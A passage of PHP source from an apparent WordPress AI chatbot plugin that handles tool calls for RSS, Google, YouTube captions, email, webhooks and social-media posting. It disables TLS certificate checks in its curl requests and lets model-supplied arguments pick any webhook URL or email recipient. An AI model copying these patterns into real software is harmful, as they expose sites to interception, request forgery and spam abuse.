$as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_rss_parser') { if(isset($tool_call->function->arguments->url)) { $result = ''; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); $scurl = $tool_call->function->arguments->url; if (empty($scurl)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty RSS feed URL provided', 'assistant_message' => $as_mes )); continue; } if (isset($aiomatic_Chatbot_Settings['max_rss_items']) && trim($aiomatic_Chatbot_Settings['max_rss_items']) != '') { $max_rss_items = intval(trim($aiomatic_Chatbot_Settings['max_rss_items'])); } else { $max_rss_items = PHP_INT_MAX; } if (isset($aiomatic_Chatbot_Settings['rss_template']) && trim($aiomatic_Chatbot_Settings['rss_template']) != '') { $rss_template = trim($aiomatic_Chatbot_Settings['rss_template']); } else { $rss_template = '[%%item_counter%%]: %%item_title%% - %%item_description%%'; } try { if(!class_exists('SimplePie_Autoloader', false)) { require_once(dirname(__FILE__) . "/res/simplepie/autoloader.php"); } } catch(Exception $e) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to load RSS parser library', 'assistant_message' => $as_mes )); continue; } $feed = new SimplePie(); $feed->set_timeout(120); $feed->set_feed_url($scurl); $feed->enable_cache(false); $feed->strip_htmltags(false); $feed->init(); $feed->handle_content_type(); if ($feed->error()) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Error in parsing RSS feed: ' . $feed->error(), 'assistant_message' => $as_mes )); continue; } $final_result = ''; $items = $feed->get_items(); foreach($items as $itemx) { $post_link = trim($itemx->get_permalink()); $post_fcats = $itemx->get_categories(); if ($fauthor = $itemx->get_author()) { $user_name = $fauthor->get_name(); } else { $user_name = ''; } $feed_cats = array(); if(is_array($post_fcats)) { foreach($post_fcats as $cata) { $feed_cats[] = $cata->__toString(); } $post_cats = implode(',', $feed_cats); } else { $post_cats = ''; } $post_excerpt = $itemx->get_description(); $final_content = $itemx->get_content(); $rss_feeds[$itemx->get_title()] = array('url' => $post_link, 'author' => $user_name, 'cats' => $post_cats, 'excerpt' => $post_excerpt, 'content' => $final_content ); } $template_copy = ''; $processed = 0; foreach($rss_feeds as $rtitle => $this_rss) { if(!empty($max_rss_items) && $processed >= $max_rss_items) { break; } $template_copy = $rss_template; $template_copy = str_replace('%%item_counter%%', $processed + 1, $template_copy); $template_copy = str_replace('%%item_title%%', $rtitle, $template_copy); $template_copy = str_replace('%%item_content%%', $this_rss['content'], $template_copy); $template_copy = str_replace('%%item_description%%', $this_rss['excerpt'], $template_copy); $template_copy = str_replace('%%item_url%%', $this_rss['url'], $template_copy); $template_copy = str_replace('%%item_author%%', $this_rss['author'], $template_copy); $template_copy = str_replace('%%item_categories%%', $this_rss['cats'], $template_copy); if(!empty($template_copy)) { $final_result .= $template_copy . PHP_EOL; } $processed++; } if(empty($final_result)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to parse RSS URL (no data returned): ' . $scurl, 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $final_result, 'assistant_message' => $as_mes )); } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'url parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_google_parser') { if(isset($tool_call->function->arguments->keywords)) { $result = ''; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); $keywords = $tool_call->function->arguments->keywords; if (empty($keywords)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty keywords parameter provided', 'assistant_message' => $as_mes )); continue; } if (isset($aiomatic_Chatbot_Settings['max_google_items']) && trim($aiomatic_Chatbot_Settings['max_google_items']) != '') { $max_google_items = intval(trim($aiomatic_Chatbot_Settings['max_google_items'])); } else { $max_google_items = PHP_INT_MAX; } if (isset($aiomatic_Chatbot_Settings['google_template']) && trim($aiomatic_Chatbot_Settings['google_template']) != '') { $google_template = trim($aiomatic_Chatbot_Settings['google_template']); } else { $google_template = '[%%item_counter%%]: %%item_title%% - %%item_snippet%%'; } $locale = ''; if (isset($aiomatic_Main_Settings['internet_gl']) && $aiomatic_Main_Settings['internet_gl'] != '') { $locale = $aiomatic_Main_Settings['internet_gl']; } $internet_rez = aiomatic_internet_result($keywords, true, $locale); $processed = 0; $final_res = ''; foreach($internet_rez as $emb) { if(!empty($max_google_items) && $processed >= $max_google_items) { break; } $template_copy = $google_template; $template_copy = str_replace('%%item_counter%%', $processed + 1, $template_copy); $template_copy = str_replace('%%item_title%%', $emb['title'], $template_copy); $template_copy = str_replace('%%item_snippet%%', $emb['snippet'], $template_copy); $template_copy = str_replace('%%item_url%%', $emb['link'], $template_copy); $final_res .= $template_copy . PHP_EOL; $processed++; } if(empty($final_res)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to parse Google SERP for keyword (no data returned): ' . $keywords, 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $final_res, 'assistant_message' => $as_mes )); } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'keywords parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_royalty_free_image') { if(isset($tool_call->function->arguments->keyword)) { $raw_img_list = array(); $full_result_list = array(); $result = ''; $keyword = $tool_call->function->arguments->keyword; if (empty($keyword)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty keyword parameter provided', 'assistant_message' => $as_mes )); continue; } $temp_img_attr = ''; $temp_get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $keyword, $temp_img_attr, 10, false, $raw_img_list, array(), $full_result_list); if(empty($temp_get_img)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to get royalty free image for keyword: ' . $keyword, 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_direct_message($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => '', 'assistant_message' => $as_mes )); } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'keyword parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_youtube_captions') { if(isset($tool_call->function->arguments->url)) { $result = ''; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); $zurl = $tool_call->function->arguments->url; if (empty($zurl)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty url parameter provided', 'assistant_message' => $as_mes )); continue; } $default_lang = array(); $returned_caption = ''; $za_video_page = ''; $ch = curl_init(); if ($ch !== FALSE) { if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); curl_setopt($ch, CURLOPT_HTTPGET, 1); curl_setopt($ch, CURLOPT_REFERER, get_site_url()); curl_setopt($ch, CURLOPT_URL, $zurl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $za_video_page = curl_exec($ch); if($za_video_page === false) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to download video URL: ' . $zurl, 'assistant_message' => $as_mes )); continue; } curl_close($ch); } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to init curl in YouTube caption importing: ' . $zurl, 'assistant_message' => $as_mes )); continue; } if($za_video_page !== false && strstr($za_video_page, 'vssId') !== false) { $srt_dl_link = ''; preg_match_all('#{"baseUrl":"([^"]+?)","name":(?:.*?),"vssId":"a?\.([^"]+?)","languageCode":"(?:[^"]+?)",(?:"kind":"asr",)?"isTranslatable":(?:[^}]+?)}#i', $za_video_page, $zmatches); if(isset($zmatches[1][0])) { $eng_f = false; if(in_array('en', $zmatches[2])) { $eng_f = true; } for($i = 0; $i < count($zmatches[1]); $i++) { if(count($default_lang) > 0) { if(in_array($zmatches[2][$i], $default_lang)) { $srt_dl_link = str_replace('\u0026', '&', $zmatches[1][$i]); break; } } else { if(!$eng_f) { $srt_dl_link = str_replace('\u0026', '&', $zmatches[1][$i]); break; } elseif($zmatches[2][$i] == 'en') { $srt_dl_link = str_replace('\u0026', '&', $zmatches[1][$i]); break; } } } if($srt_dl_link !== '') { $ch = curl_init(); if ($ch !== FALSE) { if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); curl_setopt($ch, CURLOPT_HTTPGET, 1); curl_setopt($ch, CURLOPT_REFERER, get_site_url()); curl_setopt($ch, CURLOPT_URL, $srt_dl_link); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $xza_video_page = curl_exec($ch); if(!empty($xza_video_page)) { $returned_caption = $xza_video_page; $returned_caption = preg_replace('#\s+#', ' ', $returned_caption); } curl_close($ch); } else { aiomatic_log_to_file('Failed to init curl in subtitle listing: ' . $zurl); } } } } if(empty($returned_caption)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to parse YouTube Video captions from URL (no data returned): ' . $zurl, 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $returned_caption, 'assistant_message' => $as_mes )); } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'url parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_youtube_search') { if(isset($tool_call->function->arguments->keyword)) { $result = ''; $keyword = $tool_call->function->arguments->keyword; if (empty($keyword)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty keyword parameter provided', 'assistant_message' => $as_mes )); continue; } $new_vid = aiomoatic_get_video($keyword); if(empty($new_vid)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to parse YouTube video search results for keyword (no data returned): ' . $keyword, 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_direct_message($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => $new_vid, 'assistant_message' => $as_mes )); } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'keyword parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_send_email') { if(isset($tool_call->function->arguments->subject) && isset($tool_call->function->arguments->content) && isset($tool_call->function->arguments->recipient_email)) { $result = ''; $subject = $tool_call->function->arguments->subject; $content = $tool_call->function->arguments->content; $recipient_email = $tool_call->function->arguments->recipient_email; if (empty($subject) || empty($content) || empty($recipient_email)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty subject, content or recipient_email parameter provided', 'assistant_message' => $as_mes )); continue; } try { $headers[] = 'From: AIomatic Plugin Chatbot '; $headers[] = 'Reply-To: noreply@aiomatic.com'; $headers[] = 'X-Mailer: PHP/' . phpversion(); $headers[] = 'Content-Type: text/html'; $headers[] = 'Charset: ' . get_option('blog_charset', 'UTF-8'); $sent = wp_mail($recipient_email, $subject, $content, $headers); if($sent === false) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to send email to address: ' . $recipient_email, 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'OK', 'assistant_message' => $as_mes )); continue; } } catch (Exception $e) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to send mail: Exception thrown ' . esc_html($e->getMessage()) . '!', 'assistant_message' => $as_mes )); continue; } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'subject, content or recipient_email parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_webhook') { if(isset($tool_call->function->arguments->webhook_url) && isset($tool_call->function->arguments->method_selector)) { $webhook_url = $tool_call->function->arguments->webhook_url; if (empty($webhook_url)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty webhook_url parameter provided', 'assistant_message' => $as_mes )); continue; } $webhook_method = $tool_call->function->arguments->method_selector; if (empty($webhook_method)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty method_selector parameter provided', 'assistant_message' => $as_mes )); continue; } $content_type = ''; if(isset($tool_call->function->arguments->content_type)) { $content_type = $tool_call->function->arguments->content_type; } $post_template = ''; if(isset($tool_call->function->arguments->data)) { $post_template = $tool_call->function->arguments->data; } $headers_template = ''; if(isset($tool_call->function->arguments->headers)) { $headers_template = $tool_call->function->arguments->headers; } $urlParsed = parse_url( $webhook_url, PHP_URL_HOST ); if ( filter_var( $webhook_url, FILTER_VALIDATE_URL ) === FALSE || empty( $urlParsed ) ) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Invalid webhook_url entered ' . $webhook_url, 'assistant_message' => $as_mes )); continue; } else if ( $content_type == 'JSON' && empty( json_decode( $post_template, TRUE ) ) ) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'The JSON data must be valid ' . $webhook_url, 'assistant_message' => $as_mes )); continue; } $headers = []; if(!empty($headers_template)) { $headers_template_arr = preg_split('/\r\n|\r|\n/', trim($headers_template)); foreach($headers_template_arr as $arr_fr) { if(!empty(trim($arr_fr)) && strstr($arr_fr, '=>')) { $small_arr = explode('=>', $arr_fr); $headers[] = trim($small_arr[0]) . ':' . trim($small_arr[1]); } } } $content_params = []; if(!empty($post_template)) { $post_template_arr = preg_split('/\r\n|\r|\n/', trim($post_template)); foreach($post_template_arr as $arr_fr) { if(!empty(trim($arr_fr)) && strstr($arr_fr, '=>')) { $small_arr = explode('=>', $arr_fr); $content_params[trim($small_arr[0])] = trim($small_arr[1]); } } } $ch = curl_init(); if ($ch === false) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to init curl in webhook execution', 'assistant_message' => $as_mes )); continue; } if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); if ($webhook_method == 'POST' || $webhook_method == 'PUT' || $webhook_method == 'DELETE') { curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $webhook_method); if (!empty($content_params) && $content_type == 'form_data') { curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($content_params)); } elseif (!empty($post_template) && $content_type == 'JSON') { curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_template)); $headers[] = 'Content-Type: application/json'; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } } else { $query_string = http_build_query($content_params); $webhook_url = $webhook_url . (strpos($webhook_url, '?') === false ? '?' : '&') . $query_string; } curl_setopt($ch, CURLOPT_URL, $webhook_url); $response = curl_exec($ch); if($response === false) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to send webhook request to ' . $webhook_url, 'assistant_message' => $as_mes )); continue; } $err = curl_error($ch); $statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($err) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Webhook request error to URL ' . $webhook_url . ' - error: ' . $err, 'assistant_message' => $as_mes )); continue; } if ($statusCode >= 200 && $statusCode <= 299) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Webhook URL called successfully!', 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Webhook unexpected return code to URL ' . $webhook_url . ' - return code: ' . $statusCode, 'assistant_message' => $as_mes )); continue; } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'webhook_url or method_selector parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_publish_facebook') { if(isset($tool_call->function->arguments->content)) { $result = ''; $zcontent = $tool_call->function->arguments->content; if (empty($zcontent)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty content parameter provided', 'assistant_message' => $as_mes )); continue; } try { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $fbomatic_active = false; if (is_plugin_active('fbomatic-facebook-post-generator/fbomatic-facebook-post-generator.php')) { $fbomatic_active = true; } if(!$fbomatic_active) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Required plugin (F-omatic) not activated.', 'assistant_message' => $as_mes )); continue; } $furl = ''; if(isset($tool_call->function->arguments->url)) { $furl = $tool_call->function->arguments->url; } $page_to_post = ''; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if (isset($aiomatic_Chatbot_Settings['facebook_post_select']) && $aiomatic_Chatbot_Settings['facebook_post_select'] != '') { $page_to_post = $aiomatic_Chatbot_Settings['facebook_post_select']; } if (empty($page_to_post)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'No page where to publish the post was selected', 'assistant_message' => $as_mes )); continue; } require_once(dirname(__FILE__) . "/aiomatic-socials.php"); $card_type_found = array('required_plugin' => array('fbomatic-facebook-post-generator/fbomatic-facebook-post-generator.php' => array('F-omatic Automatic Post Generator', 'https://1.envato.market/fbomatic'))); $return_me = aiomatic_post_to_facebook($card_type_found, $zcontent, $furl, $page_to_post); if(isset($return_me['error'])) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Facebook posting failed: ' . $return_me['error']); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Facebook posting failed: ' . $return_me['error'], 'assistant_message' => $as_mes )); continue; } elseif(empty($return_me)) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Failed to parse Facebook posting results'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to parse Facebook posting results', 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Facebook posting success: ' . json_encode($return_me, true), 'assistant_message' => $as_mes )); continue; } } catch (Exception $e) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Facebook posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Facebook posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!', 'assistant_message' => $as_mes )); continue; } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'content parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_publish_image_facebook') { if(isset($tool_call->function->arguments->image_url)) { $result = ''; $image_url = $tool_call->function->arguments->image_url; if (empty($image_url)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty image_url parameter provided', 'assistant_message' => $as_mes )); continue; } try { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $fbomatic_active = false; if (is_plugin_active('fbomatic-facebook-post-generator/fbomatic-facebook-post-generator.php')) { $fbomatic_active = true; } if(!$fbomatic_active) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Required plugin (F-omatic) not activated.', 'assistant_message' => $as_mes )); continue; } $caption = ''; if(isset($tool_call->function->arguments->caption)) { $caption = $tool_call->function->arguments->caption; } $page_to_post = ''; $aiomatic_Chatbot_Settings = get_option('aiomatic_Chatbot_Settings', false); if (isset($aiomatic_Chatbot_Settings['facebook_post_select']) && $aiomatic_Chatbot_Settings['facebook_post_select'] != '') { $page_to_post = $aiomatic_Chatbot_Settings['facebook_post_select']; } if (empty($page_to_post)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'No page where to publish the post was selected', 'assistant_message' => $as_mes )); continue; } require_once(dirname(__FILE__) . "/aiomatic-socials.php"); $card_type_found = array('required_plugin' => array('fbomatic-facebook-post-generator/fbomatic-facebook-post-generator.php' => array('F-omatic Automatic Post Generator', 'https://1.envato.market/fbomatic'))); $return_me = aiomatic_post_image_to_facebook($card_type_found, $caption, $image_url, $page_to_post); if(isset($return_me['error'])) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Facebook image posting failed: ' . $return_me['error']); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Facebook image posting failed: ' . $return_me['error'], 'assistant_message' => $as_mes )); continue; } elseif(empty($return_me)) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Failed to parse Facebook image posting results'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to parse Facebook image posting results', 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Facebook image posting success: ' . json_encode($return_me, true), 'assistant_message' => $as_mes )); continue; } } catch (Exception $e) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Facebook image posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Facebook image posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!', 'assistant_message' => $as_mes )); continue; } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'image_url parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_publish_twitter') { if(isset($tool_call->function->arguments->content)) { $result = ''; $zcontent = $tool_call->function->arguments->content; if (empty($zcontent)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty content parameter provided', 'assistant_message' => $as_mes )); continue; } try { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $twitomatic_active = false; if (is_plugin_active('twitomatic-twitter-post-generator/twitomatic-twitter-post-generator.php')) { $twitomatic_active = true; } if(!$twitomatic_active) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Required plugin (Twitomatic) not activated.', 'assistant_message' => $as_mes )); continue; } $image_url = ''; if(isset($tool_call->function->arguments->image_url)) { $image_url = $tool_call->function->arguments->image_url; } require_once(dirname(__FILE__) . "/aiomatic-socials.php"); $card_type_found = array('required_plugin' => array('twitomatic-twitter-post-generator/twitomatic-twitter-post-generator.php' => array('Twitomatic Automatic Post Generator', 'https://1.envato.market/twitomatic'))); $return_me = aiomatic_post_to_twitter($card_type_found, $zcontent, $image_url); if(isset($return_me['error'])) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Twitter posting failed: ' . $return_me['error']); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Twitter posting failed: ' . $return_me['error'], 'assistant_message' => $as_mes )); continue; } elseif(empty($return_me)) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Failed to parse Twitter posting results'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Failed to parse Twitter posting results', 'assistant_message' => $as_mes )); continue; } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Twitter posting success: ' . json_encode($return_me, true), 'assistant_message' => $as_mes )); continue; } } catch (Exception $e) { if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') { aiomatic_log_to_file('Twitter posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!'); } aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Twitter posting failed: Exception thrown ' . esc_html($e->getMessage()) . '!', 'assistant_message' => $as_mes )); continue; } } else { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'content parameter not found', 'assistant_message' => $as_mes )); aiomatic_log_to_file('Failed to decode function calling: ' . print_r($tool_call, true)); } } elseif ($tool_call->function->name === 'aiomatic_publish_instagram') { if(isset($tool_call->function->arguments->image_url)) { $result = ''; $image_url = $tool_call->function->arguments->image_url; if (empty($image_url)) { aiomatic_add_tool_results($reply, array( "tool_call_id" => $tool_call->id, "role" => "tool", "content" => 'Empty image_url parameter provided', 'assistant_message' => $as_mes )); continue; } try { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 